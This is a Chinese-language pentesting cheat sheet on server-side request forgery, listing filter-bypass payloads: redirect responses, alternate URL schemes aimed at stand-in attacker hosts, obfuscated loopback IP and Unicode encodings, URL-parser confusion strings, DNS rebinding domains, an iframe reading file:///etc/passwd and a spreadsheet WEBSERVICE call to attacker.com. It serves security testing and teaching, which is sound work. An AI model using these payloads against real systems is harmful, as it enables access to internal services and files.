服务器端请求伪造

服务器端请求伪造(或 SSRF)是一种 Web 安全漏洞,允许攻击者诱使服务器端应用程序向攻击者选择的任意域发起 HTTP 请求。

在典型的 SSRF 示例中,攻击者可能诱使服务器连接回自身,或连接到组织基础设施内的其他基于 Web 的服务,或连接到外部的第三方系统。

绕过过滤器

应用程序通常会阻止包含非白名单主机名、敏感 URL 或 IP 地址(如环回地址、IPv4 链路本地地址、私有地址 等)的输入。在这种情况下,有时可以使用各种技术绕过过滤器。

重定向

您可以尝试使用重定向到所需的 URL 来绕过过滤器。为此,向来自易受攻击服务器的请求返回一个带有 3xx 代码和 Location 头部中所需 URL 的响应,例如:

HTTP/1.1 301 Moved Permanently
Server: nginx
Connection: close
Content-Length: 0
Location: http://127.0.0.1

您可以通过以下方式实现重定向:

  • bash,如 nc -lvp 80 < response.txt

  • URL 缩短服务

  • Mock 和 webhook 服务,参见此处

  • 更灵活的解决方案,如在 python 上的简单 HTTP 服务器

此外,如果应用程序包含开放重定向漏洞,您可以使用它来绕过 URL 过滤器,例如:

POST /api/v1/webhook HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

url=https://vulnerable-website.com/api/v1/project/next?currentProjectId=1929851&path=http://127.0.0.1

这些绕过方法有效,因为应用程序只验证提供的 URL,该 URL 触发重定向。它遵循重定向并向攻击者选择的内部 URL 发出请求。

URL 方案

您可以尝试使用不同的 URL 方案:

file://path/to/file
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
dict://127.0.0.1:1337/stats
ftp://127.0.0.1/
sftp://attacker-website.com:1337/
tftp://attacker-website.com:1337/TESTUDPPACKET
ldap://127.0.0.1:389/%0astats%0aquit
ldaps://127.0.0.1:389/%0astats%0aquit
ldapi://127.0.0.1:389/%0astats%0aquit
gopher://attacker-website.com/_SSRF%0ATest!

Node.js

Windows 版本的 Node.js 将 URL 方案中的任何单个字母视为 drive://filepath 并将协议设置为 file://

// Node.js(仅限 Windows)
// 以下行将返回 `file:`
new URL('l://file').protocol

参考:

Java

Java 的 URL 将正确处理以下 URL:

url:file:///etc/passwd
url:http://127.0.0.1:8080

参考:

  • @phithon_xg 推文 12

IP 地址格式

您可以尝试使用不同的 IP 地址格式来绕过过滤器。

罕见 IP 地址

RFC 3986 中定义的罕见 IP 地址格式:

  • 点分十六进制 IP:0x7f.0x0.0x0.0x1

  • 无点十六进制 IP:0x7f001

  • 带填充的无点十六进制 IP:0x0a0b0c0d7f000001(填充是 0a0b0c0d

  • 无点十进制 IP:2130706433

  • 带溢出的点分十进制 IP(256):383.256.256.257

  • 点分八进制 IP:0177.0.0.01

  • 无点八进制 IP:017700000001

  • 带填充的点分八进制 IP:00177.000.0000.000001

  • 组合:

    0x7f.0.1
    0x7f.1
    00177.1
    00177.0x0.1

您可以通过删除零来简写 IP 地址:

1 部分  (ping A)       : 0.0.0.A
2 部分 (ping A.B)     : A.0.0.B
3 部分 (ping A.B.C)   : A.B.0.C
4 部分 (ping A.B.C.D) : A.B.C.D

0       => 0.0.0.0
127.1   => 127.0.0.1
127.0.1 => 127.0.0.1

IPv6 地址

  • IPv6 本地地址:

    [::]
    0000::1
    [::1]
    0:0:0:0:0:0:0:0
  • IPv4 映射的 IPv6 地址:[::ffff:7f00:1]

  • IPv4 映射的 IPv6 地址:[::ffff:127.0.0.1]

  • IPv4 兼容的 IPv6 地址(已弃用,参见 RFC4291[::127.0.0.1]

  • 带有区域标识符的 IPv4 映射的 IPv6 地址:[::ffff:7f00:1%25]

  • 带有区域标识符的 IPv4 映射的 IPv6 地址:[::ffff:127.0.0.1%eth0]

滥用封闭字母数字

封闭字母数字是一个 Unicode 块,包含圆圈内、方括号内或其他不封闭的封闭内或以句点结尾的字母数字排版符号,参见列表

127。0。0。1
127。0。0。1
127.0.0.1
⑫7。⓪.𝟢。𝟷
𝟘𝖃𝟕𝒇。𝟘𝔵𝟢。𝟢𝙭⓪。𝟘𝙓¹
⁰𝔁𝟳𝙛𝟢01
2𝟏𝟑𝟢𝟕𝟢6𝟺𝟛𝟑
𝟥𝟪³。𝟚⁵𝟞。²₅𝟞。²𝟧𝟟
𝟢₁𝟳₇。0。0。𝟢𝟷
𝟎𝟢𝟙⑦⁷。000。𝟶𝟬𝟢𝟘。𝟎₀𝟎𝟢0𝟣
[::𝟏②₇.𝟘.₀.𝟷]
[::𝟭2𝟟。⓪。₀。𝟣%𝟸𝟭⑤]
[::𝚏𝕱ᶠ𝕗:𝟏₂7。₀。𝟢。①]
[::𝒇ℱ𝔣𝐹:𝟣𝟤7。₀。0。₁%②¹𝟧]
𝟎𝚇𝟕𝖋。⓪。𝟣
𝟎ˣ𝟩𝘍。𝟷
𝟘𝟘①𝟐⑦.1
⓪𝟘𝟙𝟳𝟽。𝟎𝓧₀。𝟏

滥用 Ruby 原生解析器的错误

Resolv::getaddresses 依赖于操作系统,因此通过尝试不同的 IP 格式,可以返回空值。

概念验证:

irb(main):001:0> require 'resolv'
=> true
irb(main):002:0> uri = "0x7f.1"
=> "0x7f.1"
irb(main):003:0> server_ips = Resolv.getaddresses(uri)
=> [] # 错误!
irb(main):004:0> blocked_ips = ["127.0.0.1", "::1", "0.0.0.0"]
=> ["127.0.0.1", "::1", "0.0.0.0"]
irb(main):005:0> (blocked_ips & server_ips).any?
=> false # 绕过

参考:

损坏的解析器

URL 规范 包含许多在实现临时 URL 解析和验证时容易被忽略的功能:

  • 在主机名之前使用 @ 字符在 URL 中嵌入凭据:https://expected-host@evil-host

  • 使用 # 字符表示 URL 片段:https://evil-host#expected-host

  • DNS 命名层次结构:https://expected-host.evil-host

  • URL 编码字符。这有助于混淆 URL 解析代码。如果实现过滤器的代码处理 URL 编码字符的方式与执行后端 HTTP 请求的代码不同,这特别有用。

  • 这些技术的组合:

    foo@evil-host:80@expected-host
    foo@evil-host%20@expected-host
    evil-host%09expected-host
    127.1.1.1:80\@127.2.2.2:80
    127.1.1.1:80:\@@127.2.2.2:80
    127.1.1.1:80#\@127.2.2.2:80
    ß.evil-host

参考:

DNS 固定

如果您想要获取解析为 IP 的 A 记录,请使用以下子域:

make-<IP>-rr.1u.ms 

例如,域名 make-127-0-0-1-rr.1u.ms 解析为 127.0.0.1

$ dig A make-127-0-0-1-rr.1u.ms
make-127-0-0-1-rr.1u.ms. 0	IN	A	127.0.0.1

多个记录可以用 -and- 分隔:

make-<IP>-and-<IP>-rr.1u.ms

例如,域名 make-127-0-0-1-and-127-127-127-127-rr.1u.ms 解析为 127.0.0.1127.127.127.127

$ dig A make-127-0-0-1-and-127-127-127-127-rr.1u.ms
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.0.0.1
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.127.127.127

另外,检查 sslip.io

DNS 重新绑定

如果易受攻击应用程序中的检查和建立连接的机制是独立的,并且没有 DNS 解析响应的缓存,您可以通过操纵 DNS 解析响应来绕过此限制。

例如,如果两个请求在 5 秒内一个接一个地发生,DNS 解析 make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms 将通过第一个请求返回地址 1.1.1.1,第二个返回 127.0.0.1

$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 1.1.1.1

$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 127.0.0.1

另外,检查 lock.cmpxchg8b.com

Adobe ColdFusion

FFmpeg

SVG

任意 HTML 和 JS 的服务器端处理

在生成各种文档(例如 PDF)时,经常会发现用户提供的任意 HTML 和 JS 数据的服务器端处理。如果此功能易受 HTML 注入和/或 XSS 攻击,您可以使用它来访问内部资源:

<iframe src="file:///etc/passwd" width="400" height="400">
<img src onerror="document.write('<iframe src=//127.0.0.1></iframe>')">

使用 HTTPLeaks 来确定是否有任何允许的 HTML 标签可用于滥用处理。

参考:

电子表格导出

如果应用程序在 Windows 服务器上运行并导出到电子表格,请尝试使用 WEBSERVICE 函数来获得 SSRF:

=WEBSERVICE('https://attacker.com')

参考:

请求分割

HTTP 头部

许多应用程序在其流程中使用直接从用户在不同 HTTP 头部(如 X-Forwarded-ForClient-IP 头部)接收的 IP 地址/域名。如果头部的值没有得到适当验证,这种应用程序功能可能导致盲 SSRF 漏洞。

这就是 param-miner 对于搜索 HTTP 头部很有用的地方。

Referer 头部

还要注意 Referer 头部,它被服务器端分析软件用于跟踪访问者。此类软件通常会记录来自请求的 Referer 头部,因为这允许跟踪传入链接。

分析软件实际上会访问出现在 Referer 头部中的任何第三方 URL。这通常是为了分析引用站点的内容,包括传入链接中使用的锚文本。结果,Referer 头部通常代表 SSRF 漏洞的富有成效的攻击面。

参考

最后更新于